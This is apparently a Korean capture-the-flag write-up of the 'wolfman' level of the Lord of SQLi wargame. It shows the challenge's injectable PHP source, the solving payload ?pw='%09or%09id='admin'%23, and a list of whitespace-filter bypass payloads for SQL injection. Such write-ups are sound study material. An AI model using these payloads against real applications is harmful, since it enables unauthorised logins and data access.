다섯 번째 문제 wolfman
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
1. 식별과 인증이 동시에 이루어지고 있다.
2. 해결 방법은 ID : admin 으로 로그인을 하면 된다.
3. 필터링이 돼 이있는데 화이트스페이스(공백)이 필터링 돼 있다.
음 식별과 인증이 동시에 이루어지기 때문에 간단하다.
완성 쿼리 : where id='guest' and pw='' or id='admin'#'
URL에 붙여 : ?pw=' or id='admin'# (# = %23)
이렇게 쓰면된다. 하지만 위와같이 넣으면 "No whitespace ~_~" 라고 뜨면서 나를 놀린다.
아마 스페이스바로 공백을 입력한 부분 때문에 그런 듯한다.
방법은 'or' 양쪽의 스페이스바로 인한 공백 부분을 '%09'로 대체 하면 된다
정답 : ?pw='%09or%09id='admin'%23
위와 같이 입력하면 끝!
WHITESPACE 란 무엇인가?
Tab, 줄바꿈 등 공백을 필터링하는 것
1. Tab : %09
- no=1%09or%09id='admin'
2. Line Feed (\n): %0a
- no=1%0aor%0aid='admin'
3. Carrage Return(\r) : %0d
- no=1%0dor%0did='admin'
4. 주석 : /**/
- no=1/**/or/**/id='admin'
5. 괄호 : ()
- no=(1)or(id='admin')
6. 더하기 : +
- no=1+or+id='admin'
'LoSi' 카테고리의 다른 글
7_LoSi_orge (1) | 2022.11.24 |
---|---|
6_LoSi_darkelf (0) | 2022.11.23 |
4_LoSi_orc with addslashes() / substr() (1) | 2022.11.23 |
3_LoSi_goblin (0) | 2022.11.22 |
2_LoSi_cobolt (0) | 2022.11.22 |